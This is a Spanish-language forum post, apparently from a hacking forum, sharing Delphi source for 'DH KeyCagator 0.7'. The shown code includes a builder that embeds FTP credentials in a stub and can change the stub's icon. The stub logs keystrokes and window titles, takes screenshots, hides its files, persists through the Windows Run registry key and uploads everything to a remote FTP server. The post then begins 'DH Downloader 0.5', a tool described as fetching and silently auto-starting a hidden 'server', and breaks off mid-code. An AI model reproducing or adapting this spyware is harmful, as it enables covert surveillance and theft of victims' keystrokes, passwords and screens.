  15.  jpeg, madRes, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  16.  IdExplicitTLSClientServerBase, IdFTP, ShellApi;
  17.  
  18. type
  19.  TForm1 = class(TForm)
  20.    sSkinManager1: TsSkinManager;
  21.    Image1: TImage;
  22.    sStatusBar1: TsStatusBar;
  23.    sGroupBox8: TsGroupBox;
  24.    sButton1: TsButton;
  25.    sPageControl1: TsPageControl;
  26.    sTabSheet1: TsTabSheet;
  27.    sTabSheet2: TsTabSheet;
  28.    sTabSheet3: TsTabSheet;
  29.    sGroupBox1: TsGroupBox;
  30.    sGroupBox2: TsGroupBox;
  31.    sRadioButton1: TsRadioButton;
  32.    sRadioButton2: TsRadioButton;
  33.    sEdit2: TsEdit;
  34.    sComboBox1: TsComboBox;
  35.    sGroupBox3: TsGroupBox;
  36.    sEdit1: TsEdit;
  37.    sGroupBox4: TsGroupBox;
  38.    sLabel1: TsLabel;
  39.    sCheckBox1: TsCheckBox;
  40.    sEdit3: TsEdit;
  41.    sGroupBox7: TsGroupBox;
  42.    sLabel2: TsLabel;
  43.    sCheckBox2: TsCheckBox;
  44.    sEdit4: TsEdit;
  45.    sGroupBox5: TsGroupBox;
  46.    sLabel3: TsLabel;
  47.    sLabel4: TsLabel;
  48.    sLabel5: TsLabel;
  49.    sLabel6: TsLabel;
  50.    sEdit5: TsEdit;
  51.    sEdit6: TsEdit;
  52.    sEdit7: TsEdit;
  53.    sEdit8: TsEdit;
  54.    sTabSheet4: TsTabSheet;
  55.    sTabSheet5: TsTabSheet;
  56.    sGroupBox6: TsGroupBox;
  57.    Image2: TImage;
  58.    sLabel7: TsLabel;
  59.    sGroupBox9: TsGroupBox;
  60.    sGroupBox10: TsGroupBox;
  61.    sLabel8: TsLabel;
  62.    sLabel9: TsLabel;
  63.    sLabel10: TsLabel;
  64.    sLabel11: TsLabel;
  65.    sEdit9: TsEdit;
  66.    sEdit10: TsEdit;
  67.    sEdit11: TsEdit;
  68.    sEdit12: TsEdit;
  69.    sButton2: TsButton;
  70.    IdFTP1: TIdFTP;
  71.    OpenDialog1: TOpenDialog;
  72.    procedure sButton1Click(Sender: TObject);
  73.    procedure sButton2Click(Sender: TObject);
  74.    procedure FormCreate(Sender: TObject);
  75.  private
  76.    { Private declarations }
  77.  public
  78.    { Public declarations }
  79.  end;
  80.  
  81. var
  82.  Form1: TForm1;
  83.  
  84. implementation
  85.  
  86. {$R *.dfm}
  87. // Functions
  88.  
  89. function dhencode(texto, opcion: string): string;
  90. // Thanks to Taqyon
  91. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  92. var
  93.  num: integer;
  94.  aca: string;
  95.  cantidad: integer;
  96.  
  97. begin
  98.  
  99.  num := 0;
  100.  Result := '';
  101.  aca := '';
  102.  cantidad := 0;
  103.  
  104.  if (opcion = 'encode') then
  105.  begin
  106.    cantidad := length(texto);
  107.    for num := 1 to cantidad do
  108.    begin
  109.      aca := IntToHex(ord(texto[num]), 2);
  110.      Result := Result + aca;
  111.    end;
  112.  end;
  113.  
  114.  if (opcion = 'decode') then
  115.  begin
  116.    cantidad := length(texto);
  117.    for num := 1 to cantidad div 2 do
  118.    begin
  119.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  120.      Result := Result + aca;
  121.    end;
  122.  end;
  123.  
  124. end;
  125.  
  126. //
  127.  
  128. procedure TForm1.FormCreate(Sender: TObject);
  129. begin
  130.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  131.  sSkinManager1.SkinName := 'tv-b';
  132.  sSkinManager1.Active := True;
  133. end;
  134.  
  135. procedure TForm1.sButton1Click(Sender: TObject);
  136. var
  137.  lineafinal: string;
  138.  
  139.  savein_especial: string;
  140.  savein: string;
  141.  foldername: string;
  142.  
  143.  capture_op: string;
  144.  capture_seconds: integer;
  145.  
  146.  ftp_op: string;
  147.  ftp_seconds: integer;
  148.  ftp_host_txt: string;
  149.  ftp_user_txt: string;
  150.  ftp_pass_txt: string;
  151.  ftp_path_txt: string;
  152.  
  153.  aca: THandle;
  154.  code: Array [0 .. 9999 + 1] of Char;
  155.  nose: DWORD;
  156.  
  157.  stubgenerado: string;
  158.  op: string;
  159.  change: DWORD;
  160.  valor: string;
  161.  
  162. begin
  163.  
  164.  if (sRadioButton1.Checked = True) then
  165.  
  166.  begin
  167.  
  168.    savein_especial := '0';
  169.  
  170.    if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  171.    begin
  172.      savein := 'USERPROFILE';
  173.    end
  174.    else
  175.    begin
  176.      savein := sComboBox1.Items[sComboBox1.ItemIndex];
  177.    end;
  178.  
  179.  end;
  180.  
  181.  if (sRadioButton2.Checked = True) then
  182.  begin
  183.    savein_especial := '1';
  184.    savein := sEdit2.Text;
  185.  end;
  186.  
  187.  foldername := sEdit1.Text;
  188.  
  189.  if (sCheckBox1.Checked = True) then
  190.  begin
  191.    capture_op := '1';
  192.  end
  193.  else
  194.  begin
  195.    capture_op := '0';
  196.  end;
  197.  
  198.  capture_seconds := StrToInt(sEdit3.Text) * 1000;
  199.  
  200.  if (sCheckBox2.Checked = True) then
  201.  begin
  202.    ftp_op := '1';
  203.  end
  204.  else
  205.  begin
  206.    ftp_op := '0';
  207.  end;
  208.  
  209.  ftp_seconds := StrToInt(sEdit4.Text) * 1000;
  210.  
  211.  ftp_host_txt := sEdit5.Text;
  212.  ftp_user_txt := sEdit7.Text;
  213.  ftp_pass_txt := sEdit8.Text;
  214.  ftp_path_txt := sEdit6.Text;
  215.  
  216.  lineafinal := '[63686175]' + dhencode
  217.    ('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' +
  218.      '[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op +
  219.      '[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds)
  220.      + '[capture_seconds]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
  221.      '[ftp_seconds]' + IntToStr(ftp_seconds)
  222.      + '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' +
  223.      '[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' +
  224.      ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]',
  225.    'encode') + '[63686175]';
  226.  
  227.  aca := INVALID_HANDLE_VALUE;
  228.  nose := 0;
  229.  
  230.  stubgenerado := 'keycagator_ready.exe';
  231.  
  232.  DeleteFile(stubgenerado);
  233.  CopyFile(PChar(ExtractFilePath(Application.ExeName)
  234.        + '/' + 'Data/keycagator.exe'), PChar
  235.      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  236.  
  237.  StrCopy(code, PChar(lineafinal));
  238.  aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
  239.    FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  240.  if (aca <> INVALID_HANDLE_VALUE) then
  241.  begin
  242.    SetFilePointer(aca, 0, nil, FILE_END);
  243.    WriteFile(aca, code, 9999, nose, nil);
  244.    CloseHandle(aca);
  245.  end;
  246.  
  247.  op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');
  248.  
  249.  if (op = 'Yes') then
  250.  begin
  251.    OpenDialog1.InitialDir := GetCurrentDir;
  252.    if OpenDialog1.Execute then
  253.    begin
  254.  
  255.      try
  256.        begin
  257.  
  258.          valor := IntToStr(128);
  259.  
  260.          change := BeginUpdateResourceW
  261.            (PWideChar(wideString(ExtractFilePath(Application.ExeName)
  262.                  + '/' + stubgenerado)), False);
  263.          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  264.            PWideChar(wideString(OpenDialog1.FileName)));
  265.          EndUpdateResourceW(change, False);
  266.          sStatusBar1.Panels[0].Text := '[+] Done ';
  267.          sStatusBar1.Update;
  268.        end;
  269.      except
  270.        begin
  271.          sStatusBar1.Panels[0].Text := '[-] Error';
  272.          sStatusBar1.Update;
  273.        end;
  274.      end;
  275.    end
  276.    else
  277.    begin
  278.      sStatusBar1.Panels[0].Text := '[+] Done ';
  279.      sStatusBar1.Update;
  280.    end;
  281.  end
  282.  else
  283.  begin
  284.    sStatusBar1.Panels[0].Text := '[+] Done ';
  285.    sStatusBar1.Update;
  286.  end;
  287.  
  288. end;
  289.  
  290. procedure TForm1.sButton2Click(Sender: TObject);
  291. var
  292.  i: integer;
  293.  dir: string;
  294.  busqueda: TSearchRec;
  295.  
  296. begin
  297.  
  298.  IdFTP1.Host := sEdit9.Text;
  299.  IdFTP1.Username := sEdit11.Text;
  300.  IdFTP1.Password := sEdit12.Text;
  301.  
  302.  dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';
  303.  
  304.  try
  305.    begin
  306.      FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
  307.      DeleteFile(dir + '\' + busqueda.Name);
  308.      while FindNext(busqueda) = 0 do
  309.      begin
  310.        DeleteFile(dir + '\' + busqueda.Name);
  311.      end;
  312.      FindClose(busqueda);
  313.  
  314.      rmdir(dir);
  315.    end;
  316.  except
  317.    //
  318.  end;
  319.  
  320.  if not(DirectoryExists(dir)) then
  321.  begin
  322.    CreateDir(dir);
  323.  end;
  324.  
  325.  ChDir(dir);
  326.  
  327.  try
  328.    begin
  329.      IdFTP1.Connect;
  330.      IdFTP1.ChangeDir(sEdit10.Text);
  331.  
  332.      IdFTP1.List('*.*', True);
  333.  
  334.      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
  335.      begin
  336.        IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
  337.          IdFTP1.DirectoryListing.Items[i].FileName, False, False);
  338.      end;
  339.  
  340.      ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);
  341.  
  342.      IdFTP1.Disconnect;
  343.      IdFTP1.Free;
  344.    end;
  345.  except
  346.    //
  347.  end;
  348.  
  349. end;
  350.  
  351. end.
  352.  
  353. // The End ?
  354.  

El stub.

Código
  1. // DH KeyCagator 0.7
  2. // (C) Doddy Hackman 2013
  3.  
  4. program keycagator;
  5.  
  6. // {$APPTYPE CONSOLE}
  7.  
  8. uses
  9.  SysUtils, Windows, WinInet, ShellApi;
  10.  
  11. var
  12.  nombrereal: string;
  13.  rutareal: string;
  14.  yalisto: string;
  15.  registro: HKEY;
  16.  dir: string;
  17.  time: integer;
  18.  
  19.  dir_hide: string;
  20.  time_screen: integer;
  21.  time_ftp: integer;
  22.  ftp_host: Pchar;
  23.  ftp_user: Pchar;
  24.  ftp_password: Pchar;
  25.  ftp_dir: Pchar;
  26.  
  27.  carpeta: string;
  28.  directorio: string;
  29.  dir_normal: string;
  30.  dir_especial: string;
  31.  ftp_online: string;
  32.  screen_online: string;
  33.  activado: string;
  34.  
  35.  ob: THandle;
  36.  code: Array [0 .. 9999 + 1] of Char;
  37.  nose: DWORD;
  38.  todo: string;
  39.  
  40.  // Functions
  41.  
  42. function regex(text: String; deaca: String; hastaaca: String): String;
  43. begin
  44.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  45.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  46.  Result := text;
  47. end;
  48.  
  49. function dhencode(texto, opcion: string): string;
  50. // Thanks to Taqyon
  51. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  52. var
  53.  num: integer;
  54.  aca: string;
  55.  cantidad: integer;
  56.  
  57. begin
  58.  
  59.  num := 0;
  60.  Result := '';
  61.  aca := '';
  62.  cantidad := 0;
  63.  
  64.  if (opcion = 'encode') then
  65.  begin
  66.    cantidad := Length(texto);
  67.    for num := 1 to cantidad do
  68.    begin
  69.      aca := IntToHex(ord(texto[num]), 2);
  70.      Result := Result + aca;
  71.    end;
  72.  end;
  73.  
  74.  if (opcion = 'decode') then
  75.  begin
  76.    cantidad := Length(texto);
  77.    for num := 1 to cantidad div 2 do
  78.    begin
  79.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  80.      Result := Result + aca;
  81.    end;
  82.  end;
  83.  
  84. end;
  85.  
  86. procedure savefile(filename, texto: string);
  87. var
  88.  ar: TextFile;
  89.  
  90. begin
  91.  
  92.  try
  93.  
  94.    begin
  95.      AssignFile(ar, filename);
  96.      FileMode := fmOpenWrite;
  97.  
  98.      if FileExists(filename) then
  99.        Append(ar)
  100.      else
  101.        Rewrite(ar);
  102.  
  103.      Write(ar, texto);
  104.      CloseFile(ar);
  105.    end;
  106.  except
  107.    //
  108.  end;
  109.  
  110. end;
  111.  
  112. procedure upload_ftpfile(host, username, password, filetoupload,
  113.  conestenombre: Pchar);
  114.  
  115. // Credits :
  116. // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
  117. // Thanks to Omair Iqbal
  118.  
  119. var
  120.  controluno: HINTERNET;
  121.  controldos: HINTERNET;
  122.  
  123. begin
  124.  
  125.  try
  126.  
  127.    begin
  128.      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  129.      controldos := InternetConnect(controluno, host,
  130.        INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP,
  131.        INTERNET_FLAG_PASSIVE, 0);
  132.      ftpPutFile(controldos, filetoupload, conestenombre,
  133.        FTP_TRANSFER_TYPE_BINARY, 0);
  134.      InternetCloseHandle(controldos);
  135.      InternetCloseHandle(controluno);
  136.    end
  137.  except
  138.    //
  139.  end;
  140.  
  141. end;
  142.  
  143. procedure capturar_pantalla(nombre: string);
  144.  
  145. // Credits :
  146. // Based on : http://www.delphibasics.info/home/delphibasicssnippets/screencapturewithpurewindowsapi
  147. // Thanks to  www.delphibasics.info and n0v4
  148.  
  149. var
  150.  
  151.  uno: integer;
  152.  dos: integer;
  153.  cre: hDC;
  154.  cre2: hDC;
  155.  im: hBitmap;
  156.  archivo: file of byte;
  157.  parriba: TBITMAPFILEHEADER;
  158.  cantidad: pointer;
  159.  data: TBITMAPINFO;
  160.  
  161. begin
  162.  
  163.  
  164.  // Start
  165.  
  166.  cre := getDC(getDeskTopWindow);
  167.  cre2 := createCompatibleDC(cre);
  168.  uno := getDeviceCaps(cre, HORZRES);
  169.  dos := getDeviceCaps(cre, VERTRES);
  170.  zeromemory(@data, sizeOf(data));
  171.  
  172.  
  173.  // Config
  174.  
  175.  with data.bmiHeader do
  176.  begin
  177.    biSize := sizeOf(TBITMAPINFOHEADER);
  178.    biWidth := uno;
  179.    biheight := dos;
  180.    biplanes := 1;
  181.    biBitCount := 24;
  182.  
  183.  end;
  184.  
  185.  with parriba do
  186.  begin
  187.    bfType := ord('B') + (ord('M') shl 8);
  188.    bfSize := sizeOf(TBITMAPFILEHEADER) + sizeOf(TBITMAPINFOHEADER)
  189.      + uno * dos * 3;
  190.    bfOffBits := sizeOf(TBITMAPINFOHEADER);
  191.  end;
  192.  
  193.  //
  194.  
  195.  im := createDIBSection(cre2, data, DIB_RGB_COLORS, cantidad, 0, 0);
  196.  selectObject(cre2, im);
  197.  
  198.  bitblt(cre2, 0, 0, uno, dos, cre, 0, 0, SRCCOPY);
  199.  
  200.  releaseDC(getDeskTopWindow, cre);
  201.  
  202.  // Make Photo
  203.  
  204.  AssignFile(archivo, nombre);
  205.  Rewrite(archivo);
  206.  
  207.  blockWrite(archivo, parriba, sizeOf(TBITMAPFILEHEADER));
  208.  blockWrite(archivo, data.bmiHeader, sizeOf(TBITMAPINFOHEADER));
  209.  blockWrite(archivo, cantidad^, uno * dos * 3);
  210.  
  211. end;
  212.  
  213. procedure capturar_teclas;
  214.  
  215. var
  216.  I: integer;
  217.  Result: Longint;
  218.  mayus: integer;
  219.  shift: integer;
  220.  
  221. const
  222.  
  223.  n_numeros_izquierda: array [1 .. 10] of string =
  224.    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
  225.  
  226. const
  227.  t_numeros_izquierda: array [1 .. 10] of string =
  228.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  229.  
  230. const
  231.  n_numeros_derecha: array [1 .. 10] of string =
  232.    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
  233.  
  234. const
  235.  t_numeros_derecha: array [1 .. 10] of string =
  236.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  237.  
  238. const
  239.  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
  240.    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
  241.    '291', '220', '221', '222', '226');
  242.  
  243. const
  244.  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
  245.    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
  246.    '|');
  247.  
  248. const
  249.  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
  250.    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
  251.    '226');
  252.  
  253. const
  254.  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
  255.    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
  256.    ' / ', ' \ \ \ ', ']', '[', '~', '\/');
  257.  
  258. begin
  259.  
  260.  while (1 = 1) do
  261.  begin
  262.  
  263.    Sleep(time); // Time
  264.  
  265.    try
  266.  
  267.      begin
  268.  
  269.        // Others
  270.  
  271.        for I := Low(n_raros) to High(n_raros) do
  272.        begin
  273.          Result := GetAsyncKeyState(StrToInt(n_raros[I]));
  274.          If Result = -32767 then
  275.          begin
  276.            savefile('logs.html', t_raros[I]);
  277.          end;
  278.        end;
  279.  
  280.        // SHIFT
  281.  
  282.        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  283.        begin
  284.  
  285.          for I := Low(n_shift) to High(n_shift) do
  286.          begin
  287.            Result := GetAsyncKeyState(StrToInt(n_shift[I]));
  288.            If Result = -32767 then
  289.            begin
  290.              savefile('logs.html', t_shift[I]);
  291.            end;
  292.          end;
  293.  
  294.          for I := 65 to 90 do
  295.          begin
  296.            Result := GetAsyncKeyState(I);
  297.            If Result = -32767 then
  298.            Begin
  299.              savefile('logs.html', Chr(I + 0));
  300.            End;
  301.          end;
  302.  
  303.        end;
  304.  
  305.        // Numbers
  306.  
  307.        for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  308.        begin
  309.          Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
  310.          If Result = -32767 then
  311.          begin
  312.            savefile('logs.html', t_numeros_derecha[I]);
  313.          end;
  314.        end;
  315.  
  316.        for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  317.        begin
  318.          Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
  319.          If Result = -32767 then
  320.          begin
  321.            savefile('logs.html', t_numeros_izquierda[I]);
  322.          end;
  323.        end;
  324.  
  325.        // MAYUS
  326.  
  327.        if (GetKeyState(20) = 0) then
  328.        begin
  329.          mayus := 32;
  330.        end
  331.        else
  332.        begin
  333.          mayus := 0;
  334.        end;
  335.  
  336.        for I := 65 to 90 do
  337.        begin
  338.          Result := GetAsyncKeyState(I);
  339.          If Result = -32767 then
  340.          Begin
  341.            savefile('logs.html', Chr(I + mayus));
  342.          End;
  343.        end;
  344.      end;
  345.    except
  346.      //
  347.    end;
  348.  
  349.  end;
  350. end;
  351.  
  352. procedure capturar_ventanas;
  353. var
  354.  ventana1: array [0 .. 255] of Char;
  355.  nombre1: string;
  356.  Nombre2: string; //
  357. begin
  358.  while (1 = 1) do
  359.  begin
  360.  
  361.    try
  362.  
  363.      begin
  364.        Sleep(time); // Time
  365.  
  366.        GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));
  367.  
  368.        nombre1 := ventana1;
  369.  
  370.        if not(nombre1 = Nombre2) then
  371.        begin
  372.          Nombre2 := nombre1;
  373.          savefile('logs.html',
  374.            '<hr style=color:#00FF00><h2><center>' + Nombre2 +
  375.              '</h2></center><br>');
  376.        end;
  377.  
  378.      end;
  379.    except
  380.      //
  381.    end;
  382.  end;
  383.  
  384. end;
  385.  
  386. procedure capturar_pantallas;
  387. var
  388.  generado: string;
  389. begin
  390.  while (1 = 1) do
  391.  begin
  392.  
  393.    Sleep(time_screen);
  394.  
  395.    generado := IntToStr(Random(100)) + '.jpg';
  396.  
  397.    try
  398.  
  399.      begin
  400.        capturar_pantalla(generado);
  401.      end;
  402.    except
  403.      //
  404.    end;
  405.  
  406.    SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);
  407.  
  408.    savefile('logs.html', '<br><br><center><img src=' + generado +
  409.        '></center><br><br>');
  410.  
  411.  end;
  412. end;
  413.  
  414. procedure subirftp;
  415. var
  416.  busqueda: TSearchRec;
  417. begin
  418.  while (1 = 1) do
  419.  begin
  420.  
  421.    try
  422.  
  423.      begin
  424.        Sleep(time_ftp);
  425.  
  426.        upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
  427.            (dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));
  428.  
  429.        FindFirst(dir + '*.jpg', faAnyFile, busqueda);
  430.  
  431.        upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
  432.            (dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
  433.        while FindNext(busqueda) = 0 do
  434.        begin
  435.          upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
  436.              (dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
  437.        end;
  438.      end;
  439.    except
  440.      //
  441.    end;
  442.  end;
  443. end;
  444.  
  445. procedure control;
  446. var
  447.  I: integer;
  448.  re: Longint;
  449. begin
  450.  
  451.  while (1 = 1) do
  452.  begin
  453.  
  454.    try
  455.  
  456.      begin
  457.  
  458.        Sleep(time);
  459.  
  460.        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  461.        begin
  462.  
  463.          re := GetAsyncKeyState(120);
  464.          If re = -32767 then
  465.          Begin
  466.  
  467.            ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
  468.              SW_SHOWNORMAL);
  469.  
  470.          End;
  471.        end;
  472.      end;
  473.    except
  474.      //
  475.    end;
  476.  End;
  477. end;
  478.  
  479. //
  480.  
  481. begin
  482.  
  483.  try
  484.  
  485.    // Config
  486.  
  487.    try
  488.  
  489.      begin
  490.  
  491.        // Edit
  492.  
  493.        ob := INVALID_HANDLE_VALUE;
  494.        code := '';
  495.  
  496.        ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ,
  497.          nil, OPEN_EXISTING, 0, 0);
  498.        if (ob <> INVALID_HANDLE_VALUE) then
  499.        begin
  500.          SetFilePointer(ob, -9999, nil, FILE_END);
  501.          ReadFile(ob, code, 9999, nose, nil);
  502.          CloseHandle(ob);
  503.        end;
  504.  
  505.        todo := regex(code, '[63686175]', '[63686175]');
  506.        todo := dhencode(todo, 'decode');
  507.  
  508.        dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
  509.        directorio := regex(todo, '[save]', '[save]');
  510.        carpeta := regex(todo, '[folder]', '[folder]');
  511.        screen_online := regex(todo, '[capture_op]', '[capture_op]');
  512.        time_screen := StrToInt(regex(todo, '[capture_seconds]',
  513.            '[capture_seconds]'));
  514.        ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
  515.        time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
  516.        ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
  517.        ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
  518.        ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
  519.        ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
  520.  
  521.        dir_normal := dir_especial;
  522.  
  523.        time := 100; // Not Edit
  524.  
  525.        if (dir_normal = '1') then
  526.        begin
  527.          dir_hide := directorio;
  528.        end
  529.        else
  530.        begin
  531.          dir_hide := GetEnvironmentVariable(directorio) + '/';
  532.        end;
  533.  
  534.        dir := dir_hide + carpeta + '/';
  535.  
  536.        if not(DirectoryExists(dir)) then
  537.        begin
  538.          CreateDir(dir);
  539.        end;
  540.  
  541.        ChDir(dir);
  542.  
  543.        nombrereal := ExtractFileName(paramstr(0));
  544.        rutareal := dir;
  545.        yalisto := dir + nombrereal;
  546.  
  547.        MoveFile(Pchar(paramstr(0)), Pchar(yalisto));
  548.  
  549.        SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);
  550.  
  551.        SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  552.  
  553.        savefile(dir + '/logs.html', '');
  554.  
  555.        SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);
  556.  
  557.        savefile('logs.html',
  558.          '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
  559.  
  560.        RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  561.          'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
  562.          REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
  563.        RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
  564.        RegCloseKey(registro);
  565.      end;
  566.    except
  567.      //
  568.    end;
  569.  
  570.    // End
  571.  
  572.    // Start the party
  573.  
  574.    BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
  575.    BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);
  576.  
  577.    if (screen_online = '1') then
  578.    begin
  579.      BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
  580.    end;
  581.    if (ftp_online = '1') then
  582.    begin
  583.      BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
  584.    end;
  585.  
  586.    BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);
  587.  
  588.    // Readln;
  589.  
  590.    while (1 = 1) do
  591.      Sleep(time);
  592.  
  593.  except
  594.    //
  595.  end;
  596.  
  597. end.
  598.  
  599. // The End ?
  600.  

Si lo quieren bajar lo pueden hacer de aca.
144  Programación / Programación General / [Delphi] DH Downloader 0.5 en: 18 Noviembre 2013, 14:59 pm
Un simple programa en Delphi para bajar archivos con las siguientes opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.

Unas imagenes :







El codigo.

El form principal.

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dh;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;
  11.  
  12. type
  13.  TForm1 = class(TForm)
  14.    sSkinManager1: TsSkinManager;
  15.    Image1: TImage;
  16.    sGroupBox1: TsGroupBox;
  17.    sButton1: TsButton;
  18.    sButton2: TsButton;
  19.    sButton3: TsButton;
  20.    sButton4: TsButton;
  21.    procedure sButton3Click(Sender: TObject);
  22.    procedure sButton4Click(Sender: TObject);
  23.    procedure sButton1Click(Sender: TObject);
  24.    procedure sButton2Click(Sender: TObject);
  25.    procedure FormCreate(Sender: TObject);
  26.  private
  27.    { Private declarations }
  28.  public
  29.    { Public declarations }
  30.  end;
  31.  
  32. var
  33.  Form1: TForm1;
  34.  
  35. implementation
  36.  
  37. uses about, usbmode, generate;
  38. {$R *.dfm}
  39.  
  40. procedure TForm1.FormCreate(Sender: TObject);
  41. begin
  42.  
  43.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  44.  sSkinManager1.SkinName := 'neonnight';
  45.  sSkinManager1.Active := True;
  46.  
  47. end;
  48.  
  49. procedure TForm1.sButton1Click(Sender: TObject);
  50. begin
  51.  Form3.Show;
  52. end;
  53.  
  54. procedure TForm1.sButton2Click(Sender: TObject);
  55. begin
  56.  Form4.Show;
  57. end;
  58.  
  59. procedure TForm1.sButton3Click(Sender: TObject);
  60. begin
  61.  Form2.Show;
  62. end;
  63.  
  64. procedure TForm1.sButton4Click(Sender: TObject);
  65. begin
  66.  Form1.Close;
  67. end;
  68.  
  69. end.
  70.  
  71. // The End ?
  72.  

El USB Mode.

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit usbmode;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
  11.  sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
  12.  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;
  13.  
  14. type
  15.  TForm3 = class(TForm)
  16.    Image1: TImage;
  17.    sStatusBar1: TsStatusBar;
  18.    sGroupBox1: TsGroupBox;
  19.    sGroupBox2: TsGroupBox;
  20.    sEdit1: TsEdit;
  21.    sGroupBox3: TsGroupBox;
  22.    sCheckBox1: TsCheckBox;
  23.    sEdit2: TsEdit;
  24.    sCheckBox2: TsCheckBox;
  25.    sEdit3: TsEdit;
  26.    sCheckBox3: TsCheckBox;
  27.    sCheckBox4: TsCheckBox;
  28.    sCheckBox5: TsCheckBox;
